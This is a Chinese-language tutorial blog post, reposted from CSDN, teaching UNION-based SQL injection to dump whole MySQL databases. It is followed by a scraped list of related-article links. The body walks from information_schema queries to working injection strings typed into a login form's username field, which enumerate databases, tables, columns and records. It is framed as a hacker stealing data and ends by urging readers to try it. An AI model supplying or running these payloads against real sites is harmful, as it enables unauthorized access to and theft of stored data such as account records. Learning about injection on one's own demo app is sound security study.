如何利用sql注入进行爆库
SQL注入能做什么
在《SQL注入基础》一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么?
估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所有记录,但无法获取其它表的内容,事实果真的如此?
正像小偷从窗户爬进入房间,难道他只能在房间内偷东西?非也,他可以将整个房子洗劫一空。
不相信?那来看看如何对MySQL进行爆库。
如何将MySQL数据库连根拔起
如果作为一名黑客,根本无法知道系统中有哪些表,表中有哪些字段,那如何将数据库的内容窃取出来呢?
答案是MySQL数据有一个元数据库,它会描述整个MySQL服务器有哪些数据库,每个数据有哪些表,每个表有哪些字段,这就相当于把自家房子有什么宝贝统统告诉别人了。
那这个元数据库就一个根,只要抓住了这根据,沿着:
元数据库 -> 数据库列表->表列表->字段列表->表内容
这个树状分层的检索顺序,就可以将整个数据库内容全部窃取出来,下面就跟大家演示。
元数据库在哪
刚才谈到MySQL里面有个元数据库,但它在藏在哪里呢?别急,请登录MySQL数据库,并运行show databases;命令,就可以获取所有数据库列表,如下图所示:
图片中标红色的数据库information_schema就是元数据库,里面应用尽有,可以尽情开拓处女地。
进入information_schema数据库,看看里面有哪些数据表,使用如下命令:
我们所说的根就在SCHEMATA表,它里面描述了整个MySQL 下所有数据库。
然后再利用TABLES表,则可以看到数据下的表名,再利用COLUMNS表,则可以看到每个表下的字段名。下面依次展示如何查看这些数据。
查看所有数据库
SCHEMATA表描述所有数据库信息,只需标准的select语句:
SELECT * FROM information_schema.SCHEMATA
即可将该表的内容全部显示出来:
请注意,从这里开始不再入进入某个数据库之后再访问表,而是采用<数据库名>.<表名>的标准格式来访问某个数据库下的表。上述的
information_schema.SCHEMATA表示查询information_schema数据库下的SCHEMATA表。
图中SCHEMA_NAME字段为数据库名,从查询结果可以知该MySQL服务器有5个数据库。
查看表
有了数据库列表,就可以进一步查看某个数据库下所有表(当前也可以查看所有数据库下的所有表)。比如查看lyt_test数据库下的所有表,使用SQL语句:
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'lyt_test'
查询结果如下图所示:
TABLE_NAME表示表名,左列TABLE_SCHEMA为数据库名,由于lyt_test数据库下只有accounts这个表,所以输出结果只有一列。
查看表中的所有字段
然后使用COLUMNS表可以查询表的所有字段信息,使用下面SQL语句可查询accounts表的所有字段名和类型: SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = 'accounts'
查询出accounts表所有字段和类型信息如下图所示:
查看表中的所有记录
查看accounts表中的内容更是小菜一碟了,学过数据库的都知道SQL写成下面这样: SELECT * FROM lyt_test.accounts
结果如下:
好了,到这里相信你已经学习如何从MySQL中窃取所有数据库内容了。
寻找个支点
伟大的物理学家阿某米德曾经说过:
给我一个支点,我可以撬起整个地球
前面从技术上介绍了在不知道MySQL数据如何设计的情况下,通过元数据库informatio_schema,一步步将整个数据库内容窃取出来。
那么如何利用SQL注入来窃取整个数据库呢?,这就是要寻找的支点。
还记得上篇文章介绍的实验吗?利用SQL注入技术,可以将userinfo表中的所有数据都窃取出来。但该SQL能注入的部分只是WHERE部分,而SELECT ... FROM ...部分中的字段和表名却是无法注入的,那怎么可以将其它表的数据窃取出来呢?
这个密秘就就是利用UNION语句。是的,标准SQL提供了UNION语句,可以将两个SELECT结果联合起来(即对两个SELECT结果作并集)。UNION语句的语法如下:
SELECT column_name1(s) FROM table_name1
UNION
SELECT column_name2(s) FROM table_name2
- 1
- 2
- 3
- 1
- 2
- 3
唯一的要求就是两个SELECT语句的列数要相等。
有了UNION语句,就可以将SELECT * from userinfo WHERE ...和 SELECT * from lyt_test.accounts两个结果联合起来。
等等,作为一个黑客,没有拿到源代码,怎么知道SELECT * from userinfo查询结果有多少列呢?
显然是不知道的,但可通过试探方法拿到这个数值:依次注入UNION SELECT 1, ... N这样的语句来试探。先尝试SELECT 1, 再SELECT 1,2, 然后SELECT 1,2,3,直到不运行出错为止。可以先在MySQL上测试一下,结果下图所示:
从上图测试结果可知UNION后面跟的SELECT结果必须是两列,否则会出错。
对了,还记得注入时WHERE后是两个条件吗?(name = ‘name′ANDpasswd=′passswd ‘),在实际代码中可能会是更复杂的条件,甚至黑客也很难猜测的条件,那这个UNION语然该插在那个变量呢?使得整个SQL还是个合法的查询语句。
最好安全的做法是将UNION SELECT ...注入到第一个变量中,然后注入的尾部增加一个注释符号,将后的语句注释掉,就不会考虑后面的是什么语句了。在MySQL数据库,使用#符号即可实现注释。
说了这么多,可以做一下注入测试,验证一下:
在username文本框中输入:ivan' union select 1,2#,如下图:
点login 按钮后的运行结果如下图所示:
请留注下红框中生成的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”
#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。
好了 ,UNION和#就是撬动爆库的那个支点
实践爆库
万事俱备,只欠东风。那就让吹起东风吹起来吧,吹得更猛烈一些。
以下实验都是基于《SQL注入基础》一文开发的数据库应用demo来实验的,如果读者没有SQL注入的基础知识,建议看看这篇文章;同时建议SQL注入的初学者也按此文搭建相同的数据应用demo来实验测试一把。
爆数据库列表
往username中注入:
ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #
即可查询所有数据库列表如下图:
图示标红色框的就是数据库列表。我们在UNION SELECT ...语句中第一列为常数1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME这一列,它刚好就是数据库名。
爆某个数据库下的所有表名
为了精减输出结果,这里只爆lyt_test数据库下的表名,往username中注入:
ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#
即可查询得lyt_test数据库下所有表,如下图所示:
不同的地方是lyt_test数据库下只有accounts一个表,其它与爆数据库原理相同,不作过多解释。
爆某个表下所有字段
这里只爆accounts表下的所有字段,往username中注入:
ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #
结果如下图所示:
标红的是字段名。那么类型呢? 修改注入内容为:
ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #
就可以获取字段类型信息,如下图所示:
标红色的分别是前面两个字段的类型,即ID类型为char, balance类型为float。
从上面可以发现规律:每个注入可以获取到目标表中的每个列表数据, 如果表中有N表,注入N次可以获取完整的表信息。
爆某个表下的所有记录
这里就不写的,读者可以自己练习一下,原来跟上面完全一样。
总结
原来SQL注入爆数据库是这么容易的,但有几个必备条件
- MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库->表->字段关系树
- SQL语言提供了
UNION语句,可以新增窃取其它数据合并到被注入SELECT结果 - MySQL对SQL做扩展,提供注释符
#,让注入可以为所欲为
爆库的精髓掌握了吗?快来试试。
注:本文转自http://blog.csdn.net/linyt/article/details/52966555#
如何利用sql注入进行爆库的更多相关文章
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- [视频]K8飞刀 SQL注入点脱库演示教程
K8飞刀 SQL注入点脱库演示动画教程 链接:https://pan.baidu.com/s/15gLTxiv9v1Te5QNFZnfV4A 提取码:eaa1
- KPPW2.5 漏洞利用--SQL注入
KPPW2.5 漏洞利用--SQL注入 SQL注入--布尔型盲注 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- 利用SQL注入漏洞登录后台的实现方法 。。。。转载
一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...
- 利用sql注入
INSERT查询中实现注入攻击 1. 思路就是在含有insert语句的页面插入目标值信息.经常包含的是一个子查询. 2. 注意在insert过程中,左边的注入点和右边的注入点会有不同 3. 在mysq ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- C# 利用*.SQL文件自动建库建表等的类
/// <summary> /// 自动建库建表 /// </summary> public class OperationSqlFile { SqlConnection sq ...
随机推荐
- 模拟用户点击弹出新页面不会被浏览器拦截_javascript技巧
原文:http://www.html5cn.com.cn/article/zxzx/3195.html 相信用过window.open的小伙伴们都遇到过被浏览器拦截导致页面无法弹出的情况:我们换下思路 ...
- android_handler(二)
这篇记录 android 消息机制中.WorkThread 模拟向网络訪问数据,获得数据后,返回 message 发送给 MainThread ,并改动 TextView 的 text 的这种一个步骤 ...
- activiti自己定义流程之Spring整合activiti-modeler5.16实例(四):部署流程定义
注:(1)环境搭建:activiti自己定义流程之Spring整合activiti-modeler5.16实例(一):环境搭建 (2)创建流程模型:activiti自己定义流程之Spr ...
- Js、Jquery对goTop功能的实现
本文介绍用原生JS和Jquery分别实现的网页goTopbutton功能,以及在这个过程中碰到的问题. 终于实现的效果类似:http://sc2.163.com/home(注意右下角的top) 代码: ...
- boost::mpl::eval_if的使用方法
近期看boost的时候总是遇见这个eval_if,不知道啥意思,就没法看下去了,比方 前篇文章boost::serialization 拆分serialize函数分析时就出现这样一段代码: templ ...
- YTU 2543: 数字整除
2543: 数字整除 时间限制: 1 Sec 内存限制: 128 MB 提交: 33 解决: 8 题目描述 定理:把一个至少两位的正整数的个位数字去掉,再从余下的数中减去个位数的5倍.当且仅当差是 ...
- zabbix如何添加主机监控
1,首先,监控的主机安装zabbix客户端.zabbix提供多种监控方式,我们这里监控的主机上边安装agentd守护端进行数据收集并监测. 其中客户端安装我们这里就不介绍了,请参考之前教程里边的客户端 ...
- XAML实例教程系列 - 标记扩展(Markup Extensions) 六
XAML实例教程系列 - 标记扩展(Markup Extensions) 分类: Windows 8 Silverlight2012-06-21 13:00 1139人阅读 评论(0) 收藏 举报 扩 ...
- python库学习笔记——re库:正则表达式入门(一)
什么是正则表达式? 我们在处理文本文件的时候,会按照某种规则查找某些特定的字符串.比方我们希望从一堆电子档案中找到人员的电话号码整理成通讯录.于是,我们可以利用特定字符串的规律编程获得我们想要的信息. ...
- 【WIP】C基础语法
创建: 2017/06/17 更新: 2017/10/14 标题加上[WIP],增加创建时间 更新: 2018/02/05 被Objective-C引用部分加上id方便链接,代码放进代码模板 ...